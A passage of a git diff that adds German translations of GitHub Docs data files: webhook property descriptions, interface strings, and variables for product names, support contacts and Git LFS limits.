+ms.openlocfilehash: 45ee82afe4ef468356d2c480a424ebca686b788f
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876842"
+---
+Wenn deine „Nutzlast-URL“ eine sichere Website (HTTPS) ist, hast du die Möglichkeit, die SSL-Überprüfungseinstellungen zu konfigurieren. Wenn deine „Nutzlast-URL“ nicht sicher ist (HTTP), zeigt GitHub diese Option nicht an. Standardmäßig überprüft GitHub das SSL-Zertifikat deiner Website beim Bereitstellen von Webhook-Nutzlasten. Die SSL-Überprüfung stellt sicher, dass Hook-Nutzlasten sicher an deinen URL-Endpunkt übermittelt werden. Du hast die Möglichkeit, SSL zu deaktivieren, aber wir empfehlen, **SSL-Überprüfung aktivieren** beizubehalten.
diff --git a/translations/de-DE/data/reusables/webhooks/workflow_desc.md b/translations/de-DE/data/reusables/webhooks/workflow_desc.md
new file mode 100644
index 0000000000..a853bf0c7b
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/workflow_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 742389a0f0f8018feee31f675f69f01a8989c410
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876841"
+---
+`workflow` | `object` | Der Workflow, der die Workflowausführung generiert hat.
diff --git a/translations/de-DE/data/reusables/webhooks/workflow_job_properties.md b/translations/de-DE/data/reusables/webhooks/workflow_job_properties.md
new file mode 100644
index 0000000000..a1c5ee06e9
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/workflow_job_properties.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: 1f368a08409f4b10daa8b9e45340886ba8d9a47d
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876849"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die ausgeführte Aktion. Kann eine der folgenden Aktionen sein: <ul><li> `queued` - Ein neuer Auftrag wurde erstellt.</li><li> `in_progress` - Der Auftrag hat mit der Verarbeitung des Runners begonnen.</li><li> `completed` - Der `status` des Job ist `completed`.</li></ul>
+`workflow_job`|`object`| Der Workflow-Auftrag. Viele `workflow_job`-Schlüssel, so wie `head_sha`, `conclusion` und `started_at` sind identisch mit denen in einem [`check_run`](#check_run)-Objekt.
+`workflow_job[status]`|`string`| Den aktuellen Status des Auftrags. Kann `queued`, `in_progress` oder `completed` sein.
+`workflow_job[labels]`|`array`| Benutzerdefinierte Bezeichnungen für den Auftrag. Durch das [`"runs-on"`-Attribut](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on) im Workflow-YAML angegeben.
+`workflow_job[runner_id]`|`integer`| Die ID des Runners, der diesen Auftrag ausführt. Dies wird `null` sein, solange `workflow_job[status]` `queued` ist.
+`workflow_job[runner_name]`|`string`| Der Name des Runners, der diesen Auftrag ausführt. Dies wird `null` sein, solange `workflow_job[status]` `queued` ist.
+`workflow_job[runner_group_id]`|`integer`| Die ID der Runner-Gruppe, die diesen Auftrag ausführt. Dies wird `null` sein, solange `workflow_job[status]` `queued` ist.
+`workflow_job[runner_group_name]`|`string`| Der Name der Runner-Gruppe, die diesen Auftrag ausführt. Dies wird `null` sein, solange `workflow_job[status]` `queued` ist.
diff --git a/translations/de-DE/data/reusables/webhooks/workflow_job_short_desc.md b/translations/de-DE/data/reusables/webhooks/workflow_job_short_desc.md
new file mode 100644
index 0000000000..f319c80e5c
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/workflow_job_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b2aeef8ebd8cb1334c8e3c1c117abac03b2e5b79
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145069042"
+---
+Ein {% data variables.product.prodname_actions %}-Workflowauftrag wurde in die Warteschlange gestellt, ist in Bearbeitung oder wurde in einem Repository abgeschlossen. {% data reusables.webhooks.action_type_desc %}
diff --git a/translations/de-DE/data/reusables/webhooks/workflow_run_properties.md b/translations/de-DE/data/reusables/webhooks/workflow_run_properties.md
new file mode 100644
index 0000000000..61d679333e
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/workflow_run_properties.md
@@ -0,0 +1,4 @@
+Key | Type | Description
+----|------|-------------
+`action`|`string` | The action that was performed. Can be one of `requested`{% ifversion actions-workflow-run-in-progress %}, `in_progress`,{% endif %} or `completed`.
+`workflow_run`| `object` | The workflow run. Includes information such as `artifacts_url`, `check_suite_id`, `conclusion`, `head_branch`, and `head_sha`.
diff --git a/translations/de-DE/data/ui.yml b/translations/de-DE/data/ui.yml
new file mode 100644
index 0000000000..9d05e624cf
--- /dev/null
+++ b/translations/de-DE/data/ui.yml
@@ -0,0 +1,235 @@
+meta:
+  default_description: "Erste Schritte, Problembehandlung und optimale Nutzung von GitHub. Dokumentation für neue Benutzer, Entwickler, Administratoren und alle Produkte von GitHub."
+header:
+  github_docs: GitHub-Dokumentation
+  contact: Contact
+  notices:
+    ghae_silent_launch: GitHub AE ist derzeit begrenzt freigegeben.
+    release_candidate:
+      # The version name is rendered before the below text via includes/header-notification.html
+      ' ist derzeit als Release Candidate verfügbar. Weitere Informationen findest du unter <a href="/admin/overview/about-upgrades-to-new-releases">Informationen zu Upgrades auf neue Releases</a>.'
+    localization_complete:
+      "Wir veröffentlichen regelmäßig Aktualisierungen unserer Dokumentation, und die Übersetzung dieser Seite ist möglicherweise noch nicht abgeschlossen. Die aktuellsten Informationen findest du in der <a id=\"to-english-doc\" href=\"/en\">englischen Dokumentation</a>."
+    early_access: "📣 Bitte <b>gib diese URL nicht öffentlich weiter</b>. Diese Seite enthält Inhalte über eine Funktion, auf die frühzeitig zugegriffen werden kann."
+    release_notes_use_latest: "Bitte verwende das neueste Release, um die aktuellen Sicherheits- und Leistungsvorteile und Fehlerbehebungen zu erhalten."
+    # GHES release notes
+    ghes_release_notes_upgrade_patch_only: "📣 Dies ist nicht das <a href=\"#{{ latestPatch }}\">aktuelle Patchrelease</a> von Enterprise Server."
+    ghes_release_notes_upgrade_release_only: "📣 Dies ist nicht das <a href=\"/enterprise-server@{{ latestRelease }}/admin/release-notes\">aktuelle Release</a> von Enterprise Server."
+    ghes_release_notes_upgrade_patch_and_release: "📣 Dies ist nicht das <a href=\"#{{ latestPatch }}\">aktuelle Patchrelease</a> dieser Releasereihe und nicht das <a href=\"/enterprise-server@{{ latestRelease }}/admin/release-notes\">aktuelle Release</a> von Enterprise Server."
+  sign_up_cta: Registrieren
+picker:
+  language_picker_default_text: Wählen Sie eine Sprache
+  product_picker_default_text: Alle Produkte
+  version_picker_default_text: Version auswählen
+release_notes:
+  banner_text: GitHub begann mit dem Rollout dieser Änderungen für Unternehmen am
+search:
+  need_help: Sie brauchen Hilfe?
+  placeholder: GitHub-Dokumentation durchsuchen
+  loading: Laden
+  no_results: Keine Ergebnisse gefunden
+  search_results_for: Ergebnisse suchen für
+  no_content: Kein Inhalt
+  matches_displayed: Angezeigte Übereinstimmungen
+  search_error: "Beim Versuch, die Suche durchzuführen, ist ein Fehler aufgetreten."
+  description: "Gib einen Suchbegriff ein, um ihn in der GitHub-Dokumentation zu finden."
+  label: GitHub-Dokumentation durchsuchen
+  results_found: "{n} Ergebnisse in {s} ms gefunden"
+  results_page: "Dies ist Seite {page} von {pages}."
+  nothing_found: Nichts gefunden 😿
+homepage:
+  explore_by_product: Nach Produkt erkunden
+  version_picker: Version
+  description: Hilfe zu jeder Phase deiner GitHub-Reise.
+toc:
+  getting_started: Erste Schritte
+  popular: Beliebt
+  guides: Anleitungen
+  whats_new: Neues
+  videos: Videos
+  all_changelogs: Alle Änderungsprotokollbeiträge
+pages:
+  article_version: 'Artikelversion'
+  miniToc: Inhalt dieses Artikels
+  contributor_callout: Dieser Artikel wurde bereitgestellt und wird gepflegt von
+  all_enterprise_releases: Alle Enterprise Server-Releases
+  about_versions: Informationen zu Versionen
+errors:
+  oops: Hoppla!
+  something_went_wrong: Offenbar ist ein Fehler aufgetreten.
+  we_track_errors: "Diese Fehler werden automatisch nachverfolgt. Wenn das Problem jedoch fortbesteht, kannst du uns gerne kontaktieren."
+  page_doesnt_exist: Diese Seite ist anscheinend nicht vorhanden.
+support:
+  still_need_help: Benötigst du weitere Hilfe?
+  contact_support: Support kontaktieren
+  ask_community: GitHub-Community fragen
+survey:
+  able_to_find: Hat dir diese Dokumentation geholfen?
+  yes: Yes
+  no: No
+  comment_yes_label: "Teile uns mit, was wir gut machen"
+  comment_no_label: "Teile uns mit, was wir besser machen können"
+  optional: Optional
+  required: Erforderlich
+  email_placeholder: email@beispiel.com
+  email_label: "Wenn wir dir weitere Fragen stellen dürfen, gib bitte deine E-Mail Adresse an"
+  email_validation: Geben Sie eine gültige E-Mail-Adresse ein.
+  send: Send
+  feedback: Vielen Dank! Wir haben dein Feedback erhalten.
+  not_support: "Wenn du eine Antwort brauchst, wende dich bitte stattdessen an den Support."
+  privacy_policy: Datenschutzrichtlinie
+contribution_cta:
+  title: "Hilf uns, diese Dokumente perfekt zu machen!"
+  body: Alle GitHub-Dokumente sind Open Source-Dokumente. Ist dir etwas Falsches oder Unklares aufgefallen? Bitte sende einen Pull Request.
+  button: Leiste einen Beitrag
+  or: Oder
+  to_guidelines: "lerne, einen Beitrag zu leisten."
+products:
+  graphql:
+    reference:
+      implements: Implementiert
+      fields: Felder
+      arguments: Argumente
+      name: Name
+      type: Typ
+      description: BESCHREIBUNG
+      input_fields: Eingabefelder
+      return_fields: Rückgabefelder
+      implemented_by: Implementiert von
+      values: Werte
+      possible_types: Mögliche Typen
+      preview_notice: Vorschauhinweis
+      deprecation_notice: Einstellungshinweis
+      preview_period: Während der Vorschauzeit kann die API ohne Vorankündigung geändert werden.
+    overview:
+      preview_header: 'Um diese Vorschau zu wechseln und auf die folgenden Schemaelemente zuzugreifen, musst du im `Accept`-Header einen benutzerdefinierten Medientyp angeben:'
+      preview_schema_members: 'Elemente des Vorschauschemas'
+      announced: Angekündigt
+      updates: Aktualisierungen
+  rest:
+    reference:
+      default: Standard
+      name: Name
+      in: Geben Sie in
+      type: type
+      description: BESCHREIBUNG
+      notes: Notizen
+      parameters: Parameter
+      response: Antwort
+      example_response: Beispielantwort
+      status_code: Statuscode
+      http_status_code: HTTP-Antwortstatuscodes
+      code_sample: Codebeispiel
+      code_samples: Codebeispiele
+      preview_notice: Vorschauhinweis
+      preview_notices: Vorschauhinweise
+      see_preview_notice: Siehe Vorschauhinweis
+      see_preview_notices: Siehe Vorschauhinweise
+      preview_header_is_required: Dieser Header ist <strong>erforderlich</strong>.
+      preview_notice_to_change: Diese API befindet sich in der Vorschau und kann daher geändert werden.
+      works_with: Funktioniert mit
+      api_reference: REST-API-Referenz
+      enum_description_title: Kann eine der Folgenden sein
+      required: Erforderlich
+      headers: Header
+      query: Abfrageparameter
+      path: Pfadparameter
+      body: Textparameter
+footer:
+  all_rights_reserved: Alle Rechte vorbehalten
+  terms: Begriffe
+  privacy: Datenschutz
+  security: Sicherheit
+  product:
+    heading: Produkt
+    links:
+      features: Features
+      security: Sicherheit
+      enterprise: Enterprise
+      case_studies: Fallstudien
+      pricing: Preise
+      resources: Ressourcen
+  platform:
+    heading: Plattform
+    links:
+      developer_api: Entwickler-API
+      partners: Partner
+      atom: Atom
+      electron: Elektron
+      github_desktop: GitHub Desktop
+  support:
+    heading: Support
+    links:
+      help: Hilfe
+      community_forum: Communityforum
+      training: Training
+      status: Status
+      contact_github: GitHub kontaktieren
+  company:
+    heading: Company
+    links:
+      about: Info
+      blog: Blog
+      careers: Karriere
+      press: Tastenkombination
+      shop: Shop
+product_landing:
+  quickstart: Schnellstart
+  reference: Verweis
+  overview: Übersicht
+  guides: Anleitungen
+  code_examples: Codebeispiele
+  search_code_examples: Codebeispiele suchen
+  search_results_for: Ergebnisse suchen für
+  matches_displayed: Angezeigte Übereinstimmungen
+  show_more: Mehr anzeigen
+  explore_people_and_projects: Personen und Projekte erkunden
+  sorry: Leider kein Ergebnis für
+  no_example: "Offenbar haben wir kein Beispiel, das deinem Filter entspricht."
+  try_another: "Probiere einen anderen Filter aus, oder füge dein Codebeispiel hinzu."
+  no_result: Leider entspricht keine Anleitung deinem Filter.
+  learn: "Hier erfährst du, wie du ein Codebeispiel hinzufügst."
+  communities_using_discussions: Communitys auf GitHub.com mit Diskussionen
+  add_your_community: Füge deine Community hinzu
+  sponsor_community: GitHub Sponsors-Community
+  supported_releases: Unterstützte Releases
+  release_notes_for: Versionshinweise für
+  upgrade_from: Upgrade von
+  browse_all_docs: Gesamte Dokumentation durchsuchen
+  browse_all: Alle durchsuchen
+  docs: Dokumentation
+  explore_release_notes: Versionshinweise erkunden
+  view: Alle anzeigen
+product_guides:
+  start_path: Lernpfad beginnen
+  learning_paths: '{{ productMap[currentProduct].name }}-Lernpfade'
+  learning_paths_desc: "Lernpfade sind eine Sammlung von Anleitungen, die dir helfen, ein bestimmtes Thema zu erlernen."
+  guides: '{{ productMap[currentProduct].name }}-Anleitungen'
+  more_guides: weitere Anleitungen
+  load_more: Weitere Anleitungen laden
+  all_guides: 'Alle {{ productMap[currentProduct].name }}-Anleitungen'
+  filter_instructions: Filtere die Anleitungenliste mit diesen Steuerelementen
+  filters:
+    type: type
+    topic: Thema
+    all: All
+  guides_found:
+    multiple: '{n} Anleitungen gefunden'
+    one: 1 Anleitung gefunden
+    none: Keine Anleitungen gefunden
+  guide_types:
+    overview: Übersicht
+    quick_start: Schnellstart
+    tutorial: Lernprogramm
+    how_to: Schrittanleitung
+    reference: Verweis
+learning_track_nav:
+  prevGuide: Vorherige Anleitung
+  nextGuide: Nächste Anleitung
+toggle_images:
+  off: "Bilder sind ausgeschaltet, zum Anzeigen klicken"
+  on: "Bilder sind eingeschaltet, zum Ausblenden klicken"
+  hide_single: Bild ausblenden
+  show_single: Bild anzeigen
+scroll_button:
+  scroll_to_top: Bildlauf nach oben
diff --git a/translations/de-DE/data/variables/README.md b/translations/de-DE/data/variables/README.md
new file mode 100644
index 0000000000..317695787b
--- /dev/null
+++ b/translations/de-DE/data/variables/README.md
@@ -0,0 +1,35 @@
+---
+ms.openlocfilehash: ad592a65f3aca30933dfd634f93abc0810015bf3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145069036"
+---
+# Variablen
+
+Variablen sind kurze Zeichenfolgen aus wiederverwendbarem Text.
+
+Die YAML-Dateien in diesem Verzeichnis enthalten jeweils mehrere Variablen.
+
+Der *Pfad*, der *Dateiname* und die *Schlüssel* in jeder YAML-Datei bestimmen, welcher Pfad für sie im Datenobjekt verwendet wird.
+
+Wenn beispielsweise eine Datei `data/variables/foo/bar.yml` vorliegt:
+
+```yaml
+# multiple short strings in one file
+meaning_of_life: 42
+
+# and they can be nested if needed
+nested:
+  values:
+    too: Yes!
+```
+
+Würde auf ihre Werte wie folgt zugegriffen werden:
+
+```
+{% data foo.bar.meaning_of_life %}
+
+{% data foo.bar.nested.values.too %}
+```
diff --git a/translations/de-DE/data/variables/actions.yml b/translations/de-DE/data/variables/actions.yml
new file mode 100644
index 0000000000..4519ad8e6a
--- /dev/null
+++ b/translations/de-DE/data/variables/actions.yml
@@ -0,0 +1,2 @@
+azure_portal: 'Azure-Portal'
+hosted_runner: 'größerer Runner'
diff --git a/translations/de-DE/data/variables/command_line.yml b/translations/de-DE/data/variables/command_line.yml
new file mode 100644
index 0000000000..0cf8fa40fc
--- /dev/null
+++ b/translations/de-DE/data/variables/command_line.yml
@@ -0,0 +1,9 @@
+# Use this variable wherever backticks are necessary
+backticks: >-
+  {% ifversion fpt or ghec %}github.com{% else %}[Hostname]{% endif %}
+# Use this variable within codeblocks (because it includes HTML! Which only renders in shell codeblocks!)
+codeblock: >-
+  {% ifversion fpt or ghec %}github.com{% else %}<em>Hostname</em>{% endif %}
+# GitHub URL example
+git_url_example: >-
+  https://{% ifversion fpt or ghec %}github.com{% else %}github.example.com{% endif %}
diff --git a/translations/de-DE/data/variables/contact.yml b/translations/de-DE/data/variables/contact.yml
new file mode 100644
index 0000000000..1924489d68
--- /dev/null
+++ b/translations/de-DE/data/variables/contact.yml
@@ -0,0 +1,46 @@
+contact_ent_support: '[GitHub Enterprise Support](https://support.github.com/contact?tags=docs-generic)'
+
+contact_support: >-
+  {% ifversion fpt or ghec %}[GitHub Support](https://support.github.com/contact?tags=docs-generic){% elsif ghes %}dein Siteadministrator{% elsif ghae %}your enterprise owner{% endif %}
+report_abuse: >-
+  {% ifversion fpt or ghec %}[Missbrauch melden](https://github.com/contact/report-abuse){% endif %}
+report_content: >-
+  {% ifversion fpt or ghec %}[Inhalt melden](https://github.com/contact/report-content){% endif %}
+contact_dmca: >-
+  {% ifversion fpt or ghec %}[Formular für Urheberrechtsansprüche](https://github.com/contact/dmca){% endif %}
+contact_privacy: >-
+  {% ifversion fpt or ghec %}[Datenschutzkontaktformular](https://github.com/contact/privacy){% endif %}
+contact_enterprise_sales: "[GitHub-Vertriebsteam](https://github.com/enterprise/contact)"
+
+contact_feedback_actions: '[GitHub-Community-Diskussionen für GitHub Actions](https://github.com/orgs/community/discussions/categories/actions-and-packages)'
+
+# The team that provides Standard Support
+enterprise_support: 'GitHub Enterprise Support'
+
+# The larger team that includes Enterprise Support and Premium Support
+github_support: 'GitHub-Support'
+
+# The team that provides Premium Support
+premium_support: 'GitHub Premium-Support'
+
+# Enterprise Support portal (previously the Zendesk portal at enterprise.githubsupport.com)
+enterprise_portal: 'GitHub-Supportportal'
+contact_enterprise_portal: '[GitHub-Supportportal](https://support.github.com/contact?tags=docs-generic)'
+
+# Azure support (GitHub AE) portal
+ae_azure_portal: 'Azure-Support-Portal'
+contact_ae_portal: '[Azure-Support-Portal](https://portal.azure.com/#blade/Microsoft_Azure_Support/HelpAndSupportBlade)'
+
+# GitHub Support portal (for dotcom - this sends users to a contact form)
+support_portal: 'GitHub-Supportportal'
+contact_support_portal: '[GitHub-Supportportal](https://support.github.com/contact?tags=docs-generic)'
+
+# GitHub Support portal (this sends users to the Support landing page)
+landing_page_portal: 'GitHub-Supportportal'
+contact_landing_page_portal: '[GitHub-Supportportal](https://support.github.com)'
+
+# The team that provides GitHub Community Support on the GitHub Community forum (for GitHub Free)
+community_support: 'Support durch die GitHub-Community'
+
+# GitHub Community discussions
+community_support_forum: '[GitHub-Community-Diskussionen](https://github.com/orgs/community/discussions)'
diff --git a/translations/de-DE/data/variables/desktop.yml b/translations/de-DE/data/variables/desktop.yml
new file mode 100644
index 0000000000..fb38618d5d
--- /dev/null
+++ b/translations/de-DE/data/variables/desktop.yml
@@ -0,0 +1,5 @@
+# Supported platforms
+
+mac-osx-versions: MacOS 10.12 oder höher
+
+windows-versions: Windows 7 64 Bit oder höher
diff --git a/translations/de-DE/data/variables/enterprise.yml b/translations/de-DE/data/variables/enterprise.yml
new file mode 100644
index 0000000000..5daed9889d
--- /dev/null
+++ b/translations/de-DE/data/variables/enterprise.yml
@@ -0,0 +1,3 @@
+management_console: 'Verwaltungskonsole'
+# https://support.github.com/enterprise/server-upgrade
+upgrade_assistant: 'Upgrade-Assistent'
diff --git a/translations/de-DE/data/variables/explore.yml b/translations/de-DE/data/variables/explore.yml
new file mode 100644
index 0000000000..478a31951a
--- /dev/null
+++ b/translations/de-DE/data/variables/explore.yml
@@ -0,0 +1,6 @@
+explore_github: >-
+  {% ifversion fpt or ghec %}[Erkunden von GitHub](https://github.com/explore){% else %}Erkunden von GitHub (`https://[Hostname]/explore`){% endif %}
+your_stars_page: >-
+  {% ifversion fpt or ghec %}[Sternseite](https://github.com/stars){% else %}Sternseite (`https://[Hostname]/stars`){% endif %}
+trending_page: >-
+  {% ifversion fpt or ghec %}[Trendseite](https://github.com/trending){% else %}Trendseite (`https://[Hostname]/trending`){% endif %}
diff --git a/translations/de-DE/data/variables/gists.yml b/translations/de-DE/data/variables/gists.yml
new file mode 100644
index 0000000000..f5e30d28e8
--- /dev/null
+++ b/translations/de-DE/data/variables/gists.yml
@@ -0,0 +1,6 @@
+gist_homepage: >-
+  {% ifversion fpt or ghec %}[Gisthomepage](https://gist.github.com/){% elsif ghae %}Gisthomepage, `http(s)://gist.[Hostname]`{% else %}Gisthomepage, `http(s)://[Hostname]/gist` oder `http(s)://gist.[Hostname]` wenn Unterdomänen aktiviert sind{% endif %}
+gist_search_url: >-
+  {% ifversion fpt or ghec %}[Gistsuche](https://gist.github.com/search){% elsif ghae %}Gistsuche, `http(s)://gist.[Hostname]/search`{% else %}Gistsuche, `http(s)://[Hostname]/gist/search` oder `http(s)://gist.[Hostname]/search` wenn Unterdomänen aktiviert sind{% endif %}
+discover_url: >-
+  {% ifversion fpt or ghec %}[Entdecken](https://gist.github.com/discover){% elsif ghae %}Entdecken, `http(s)://gist.[Hostname]/discover`{% else %}Entdecken, `http(s)://[Hostname]/gist/discover` oder `http(s)://gist.[Hostname]/discover` wenn Unterdomänen aktiviert sind{% endif %}
diff --git a/translations/de-DE/data/variables/large_files.yml b/translations/de-DE/data/variables/large_files.yml
new file mode 100644
index 0000000000..a57681944e
--- /dev/null
+++ b/translations/de-DE/data/variables/large_files.yml
@@ -0,0 +1,14 @@
+product_name_long: 'Git Large File Storage'
+product_name_short: 'Git LFS'
+warning_size: '50 MB'
+max_github_size: '100 MB'
+max_github_browser_size: '25 MB'
+initial_bandwidth_quota: '1 GB'
+initial_storage_quota: '1 GB'
+max_lfs_size: '2 GB'
+max_file_size: '2 GB'
+command_name: lfs
+version_name: "https://git-lfs.github.com/spec/v1"
+pack_monthly_price: 5 $ pro Monat
+pack_monthly_bandwidth: '50 GB'
+pack_monthly_storage: '50 GB'
diff --git a/translations/de-DE/data/variables/migrations.yml b/translations/de-DE/data/variables/migrations.yml
new file mode 100644
index 0000000000..a41c4c4864
--- /dev/null
+++ b/translations/de-DE/data/variables/migrations.yml
@@ -0,0 +1,6 @@
+user_migrations_intro: >-
+  Du kannst diese API zum Überprüfen, Sichern oder Migrieren deiner Benutzerdaten verwenden, die auf {% data variables.product.product_name %}.com gespeichert sind.
+organization_migrations_intro: >-
+  Mit der Organisationsmigrations-API kannst du ein Repository von {% data variables.product.prodname_dotcom_the_website %} zu {% data variables.product.prodname_ghe_server %} verschieben. Weitere Informationen findest du unter „[Exportieren von Migrationsdaten von GitHub.com](/enterprise-server@latest/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom)“ in der Dokumentation zu {% data variables.product.prodname_ghe_server %}.
+source_imports_intro: >-
+  Mit der Quellenimport-API kannst du einen Import aus einem Git-, Subversion-, Mercurial- oder Team Foundation-Versionskontrolle-Quellrepository beginnen. Hierbei handelt es sich um dieselbe Funktion wie beim {% data variables.product.prodname_dotcom %} Importer. Weitere Informationen findest du unter „[Importieren eines Repositorys mit {% data variables.product.prodname_dotcom %} Importer](/github/importing-your-projects-to-github/importing-a-repository-with-github-importer)“.
diff --git a/translations/de-DE/data/variables/notifications.yml b/translations/de-DE/data/variables/notifications.yml
new file mode 100644
index 0000000000..3e5e19404e
--- /dev/null
+++ b/translations/de-DE/data/variables/notifications.yml
@@ -0,0 +1,4 @@
+no_reply_address: >-
+  {% ifversion fpt or ghec %}`noreply@github.com`{% else %}die von deinem Websiteadministrator konfigurierte No-Reply-E-Mail-Adresse{% endif %}
+cc_address: >-
+  {% ifversion fpt or ghec %}`noreply@github.com`{% else %}basierend auf der von deinem Websiteadministrator konfigurierten No-Reply-E-Mail-Adresse{% endif %}
diff --git a/translations/de-DE/data/variables/product.yml b/translations/de-DE/data/variables/product.yml
new file mode 100644
index 0000000000..4abb49b464
--- /dev/null
+++ b/translations/de-DE/data/variables/product.yml
@@ -0,0 +1,278 @@
+# Contains versioned and unversioned variables for all of our product names
+## WARNING: Versioned variables don't work as expected in articles under "content/enterprise/admin/". Use unversioned variables instead.
+
+# Company
+
+company_short: 'GitHub'
+
+# GitHub's flagship products
+product_name: >-
+  {% ifversion ghec %}GitHub Enterprise Cloud{% elsif ghes %}GitHub Enterprise Server{% elsif ghae %}GitHub AE{% else %}GitHub{% endif %}
+## Use this variable when the output should always be GitHub, regardless of the product the user is using
+prodname_dotcom: 'GitHub'
+
+## Use this variable when the output should always be GitHub Enterprise, regardless of the product the user is using
+prodname_enterprise: 'GitHub Enterprise'
+
+## Use this variable only when the output should specifically be GitHub.com, to distinguish from GitHub the company or other GitHub products (e.g. connecting GHE to GitHub.com)
+prodname_dotcom_the_website: 'GitHub.com'
+
+## Use these variables when the output should reflect one of our two specific GitHub Enterprise offerings
+prodname_ghe_server: 'GitHub Enterprise Server'
+prodname_ghe_cloud: 'GitHub Enterprise Cloud'
+prodname_ghe_managed: 'GitHub AE'
+prodname_ghe_one: 'GitHub One'
+prodname_docs: 'GitHub Docs'
+
+prodname_free_user: 'GitHub Free'
+prodname_pro: 'GitHub Pro'
+prodname_team: 'GitHub Team'
+prodname_free_team: 'GitHub Free'
+
+prodname_enterprise_backup_utilities: 'GitHub Enterprise Server Backup Utilities'
+
+# GitHub Connect (enterprise accounts, other unified features)
+prodname_github_connect: 'GitHub Connect'
+
+# GitHub Enterprise migration tool
+prodname_importer_proper_name: 'GitHub Enterprise Importer'
+
+# GitHub Education
+prodname_education: 'GitHub Education'
+prodname_education_community: 'Education Community'
+prodname_education_community_with_url: 'the [GitHub Education Community](https://github.com/orgs/community/discussions/categories/github-education)'
+prodname_education_forum_link: 'https://github.com/orgs/community/discussions/categories/github-education'
+prodname_classroom: 'GitHub Classroom'
+prodname_classroom_with_url: '[GitHub Classroom](https://classroom.github.com/login)'
+prodname_campus_program: 'GitHub Campus Program'
+prodname_student_pack: 'GitHub Student Developer Pack'
+prodname_global_campus: 'GitHub Global Campus'
+prodname_community_exchange: 'GitHub Community Exchange'
+
+# GitHub CLI
+prodname_cli: 'GitHub CLI'
+
+# GitHub Desktop
+prodname_desktop: 'GitHub Desktop'
+desktop_link: 'https://desktop.github.com/'
+
+# GitHub Mobile
+prodname_mobile: 'GitHub Mobile'
+prodname_ios: 'GitHub for iOS'
+prodname_android: 'GitHub for Android'
+
+# GitHub Pages
+prodname_pages: 'GitHub Pages'
+
+# CodeQL
+prodname_codeql: 'CodeQL'
+prodname_ql: 'QL'
+prodname_codeql_cli: 'CodeQL CLI'
+# The CodeQL CLI version recommended for each GHES version.
+# CodeQL usually bumps its minor version for each minor version of GHES.
+# Update this whenever a new enterprise version of CodeQL is being prepared.
+codeql_cli_ghes_recommended_version: >-
+  {% ifversion ghes < 3.5 or ghae < 3.5 %}2.7.6{% elsif ghes = 3.5 or ghae = 3.5 %}2.8.5{% elsif ghes = 3.6 or ghae = 3.6 %}2.9.4{% elsif ghes = 3.7 or ghae = 3.7 %}2.10.5{% endif %}
+
+# Projects v2
+prodname_projects_v2: 'Projects'
+prodname_projects_v1: >-
+  {% ifversion ghes or ghae %}project boards{% else %}projects (classic){% endif %}
+prodname_projects_v1_caps: >-
+  {% ifversion ghes or ghae %}Project boards{% else %}Projects (classic){% endif %}
+prodname_project_v1: >-
+  {% ifversion ghes or ghae %}project board{% else %}project (classic){% endif %}
+prodname_project_v1_caps: >-
+  {% ifversion ghes or ghae %}Project board{% else %}Project (classic){% endif %}
+
+# Personal access tokens
+pat_generic: 'personal access token'
+pat_generic_caps: 'Personal access token'
+pat_generic_title_case: 'Personal Access Token'
+pat_v2: 'fine-grained personal access token'
+pat_v2_caps: 'Fine-grained personal access token'
+pat_v1: >-
+  {% ifversion pat-v2 %}personal access token (classic){% else %}personal access token{% endif %}
+pat_v1_plural: >-
+  {% ifversion pat-v2 %}personal access tokens (classic){% else %}personal access tokens{% endif %}
+pat_v1_caps: >-
+  {% ifversion pat-v2 %}Personal access token (classic){% else %}Personal access token{% endif %}
+pat_v1_caps_plural: >-
+  {% ifversion pat-v2 %}Personal access tokens (classic){% else %}Personal access tokens{% endif %}
+
+# Apps, GitHub Marketplace, and integrations
+prodname_marketplace: 'GitHub Marketplace'
+prodname_github_app: 'GitHub App'
+prodname_github_apps: 'GitHub Apps'
+prodname_oauth_app: 'OAuth App'
+prodname_oauth_apps: 'OAuth Apps'
+
+# API and developer docs
+prodname_enterprise_api: '{% ifversion ghes %}GitHub Enterprise Server{% elsif ghae %}GitHub AE{% endif %} APIs'
+prodname_unfurls: 'Content Attachments'
+
+# GitHub Actions
+## Use this variable only when referring to GitHub Actions the product. When referring to the thing that someone creates using the product, call it an action (small a). See the terminology page of the Brand Guide for more.
+prodname_actions: 'GitHub Actions'
+
+# GitHub Debug
+prodname_debug: 'GitHub Debug'
+
+# GitHub Discussions
+prodname_discussions: 'GitHub Discussions'
+
+# GitHub Enterprise Managed Users
+prodname_emu_idp_application: 'GitHub Enterprise Managed User'
+prodname_emu_idp_oidc_application: 'GitHub Enterprise Managed User (OIDC)'
+prodname_emus: 'Enterprise Managed Users'
+
+# GitHub Issues
+prodname_github_issues: 'GitHub Issues'
+
+# GitHub Packages
+prodname_registry: 'GitHub Packages'
+prodname_container_registry: 'Container registry'
+prodname_container_registries: 'Container registries'
